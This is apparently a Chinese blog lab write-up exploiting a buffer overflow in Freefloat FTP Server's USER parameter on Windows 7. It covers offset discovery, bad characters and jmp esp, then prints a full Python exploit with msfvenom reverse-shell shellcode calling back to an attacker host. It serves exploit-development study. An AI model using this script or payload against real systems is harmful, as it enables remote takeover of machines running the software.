Windows - 缓冲区溢出 BOF- float ftpserver

由 admin 发布

1、介绍

此次实验为windows下的缓冲区溢出漏洞。Freefloat FTP Sever漏洞利用,在此处下载得到漏洞文件。

2、实验环境

WIN7

Kali

使用桥接连接网络,使两台机子互通

  • 安装 Immunity Debugger
  • mona.py
  • 漏洞程序Freefloat FTP Server

3、开发利用

载入程序

打开 Immunity Debugger,选择 File - Open - ftpserver.exe

image-20210513111254867

在程序载入后右下角显示暂停,接下来要通过调试器运行按F9就可以了

image-20210513111346749

3.2、连接到 FTP 服务器

该程序在登录到FTP服务器时,容易受到"USER"参数中缓冲区溢出漏洞的影响。

连接登陆的用户名变量保存在缓冲区时未得到验证,则就可能会发生溢出。当发送比程序预期更多的数据时,存储在栈上后,将溢出到相邻的内存空间,会覆盖相邻内存中的数据。

3.3、崩溃服务器

编写脚本发送500个A到服务器

image-20210513114927911

此时程序状态如下图

image-20210513114954805

EIP被覆盖了

3.4、测试准确的偏移值

首先,使用 msf-pattern_create -l 900生成填充的垃圾字符(需要比第一次测试的数值加400)

将生成的字符填入脚本中

image-20210513115404323

脚本发送完毕后,EIP如下

image-20210513115458783

EIP变为 37684136

image-20210513115521636

计算得到偏移为230

3.5、验证偏移值

F2重新载入程序,F9运行

image-20210513115647729

发送准确的偏移值,以及BBBB

验证EIP是否可以控制,如果成功那么EIP将会覆盖为BBBB

验证

image-20210513115731056

3.6、寻找坏字符

使用 mona 生成坏字符序列(0x00 - 0xFF)

image-20210513115854756

其中 x00可以首先排除

image-20210513120259702

当在脚本中删除 x0a 后,F2重新载入程序,F9运行,发送更改后的脚本

image-20210513120543336

此时序列会按照顺序填入,由此本程序的利用脚本中的坏字符已全部找到(x00x0a)

3.7、寻找 jmp esp

右键 - Search for - All Command in all modules

image-20210513120745662

返回

image-20210513120819451

选用 ntdll.dll中的 jmp esp

填入顺序需要注意,如果找到 x01x02x03x04这样的,在脚本中就需要填写x04x03x02x01

3.8、生成shellcode

最后一步使用 msfvenom 生成shellcode用于反弹shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.34.166 LPORT=4242 -b "x00x0a" -f python -v buf

最终脚本

import socket

ip = "192.168.34.152"
port = 21

print("[+] Connecting to target")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

padding = 230
junk1 = b"A" * padding
retn = b"\x9D\xDC\xEB\x7D"
junk2 = b"\x90" * 16 # 填充 NOP
buf =  b""
buf += b"\xb8\x41\xf0\x46\xcb\xdb\xd6\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x52\x83\xef\xfc\x31\x47\x0e\x03\x06\xfe\xa4"
buf += b"\x3e\x74\x16\xaa\xc1\x84\xe7\xcb\x48\x61\xd6\xcb\x2f"
buf += b"\xe2\x49\xfc\x24\xa6\x65\x77\x68\x52\xfd\xf5\xa5\x55"
buf += b"\xb6\xb0\x93\x58\x47\xe8\xe0\xfb\xcb\xf3\x34\xdb\xf2"
buf += b"\x3b\x49\x1a\x32\x21\xa0\x4e\xeb\x2d\x17\x7e\x98\x78"
buf += b"\xa4\xf5\xd2\x6d\xac\xea\xa3\x8c\x9d\xbd\xb8\xd6\x3d"
buf += b"\x3c\x6c\x63\x74\x26\x71\x4e\xce\xdd\x41\x24\xd1\x37"
buf += b"\x98\xc5\x7e\x76\x14\x34\x7e\xbf\x93\xa7\xf5\xc9\xe7"
buf += b"\x5a\x0e\x0e\x95\x80\x9b\x94\x3d\x42\x3b\x70\xbf\x87"
buf += b"\xda\xf3\xb3\x6c\xa8\x5b\xd0\x73\x7d\xd0\xec\xf8\x80"
buf += b"\x36\x65\xba\xa6\x92\x2d\x18\xc6\x83\x8b\xcf\xf7\xd3"
buf += b"\x73\xaf\x5d\x98\x9e\xa4\xef\xc3\xf6\x09\xc2\xfb\x06"
buf += b"\x06\x55\x88\x34\x89\xcd\x06\x75\x42\xc8\xd1\x7a\x79"
buf += b"\xac\x4d\x85\x82\xcd\x44\x42\xd6\x9d\xfe\x63\x57\x76"
buf += b"\xfe\x8c\x82\xd9\xae\x22\x7d\x9a\x1e\x83\x2d\x72\x74"
buf += b"\x0c\x11\x62\x77\xc6\x3a\x09\x82\x81\x84\x66\xae\xf7"
buf += b"\x6d\x75\xae\xe7\xff\xf0\x48\x6d\x10\x55\xc3\x1a\x89"
buf += b"\xfc\x9f\xbb\x56\x2b\xda\xfc\xdd\xd8\x1b\xb2\x15\x94"
buf += b"\x0f\x23\xd6\xe3\x6d\xe2\xe9\xd9\x19\x68\x7b\x86\xd9"
buf += b"\xe7\x60\x11\x8e\xa0\x57\x68\x5a\x5d\xc1\xc2\x78\x9c"
buf += b"\x97\x2d\x38\x7b\x64\xb3\xc1\x0e\xd0\x97\xd1\xd6\xd9"
buf += b"\x93\x85\x86\x8f\x4d\x73\x61\x66\x3c\x2d\x3b\xd5\x96"
buf += b"\xb9\xba\x15\x29\xbf\xc2\x73\xdf\x5f\x72\x2a\xa6\x60"
buf += b"\xbb\xba\x2e\x19\xa1\x5a\xd0\xf0\x61\x6a\x9b\x58\xc3"
buf += b"\xe3\x42\x09\x51\x6e\x75\xe4\x96\x97\xf6\x0c\x67\x6c"
buf += b"\xe6\x65\x62\x28\xa0\x96\x1e\x21\x45\x98\x8d\x42\x4c"


username = junk1 + retn + junk2 + buf 
password = b"hacker"

print("[+] Sending Credentials.")
s.send(b"USER " + username + b"\r\n")
print(s.recv(1024))

s.send(b"PASS " + password + b"\r\n")
print(s.recv(1024))

print("[+] Done!")
s.close()

得到shell

image-20210513121211204

4、总结

1、寻找偏移,验证是否能覆盖EIP

2、寻找坏字符(如 x00、x0a、0x0b)

3、寻找 JMP ESP

4、填充 x90布置栈环境

5、使用 msfvenom生成shellcode

6、建立监听 (nc)

7、运行攻击脚本

最后

现代操作系统和硬件已利用缓解方案来阻止此类堆栈溢出攻击。这十年来一直是一场猫捉老鼠的游戏,处理器制造商和操作系统工程师改进加强了防御方案,而安全研究员则对这种解决方案进行逆向工程。

但是,对于任何漏洞利用开发,了解并刨析先前的攻击的人来说,能够研究当前的漏洞并提供更好的化解措施方案仍然很重要。

Exploit-db上的脚本


暂无评论

发表评论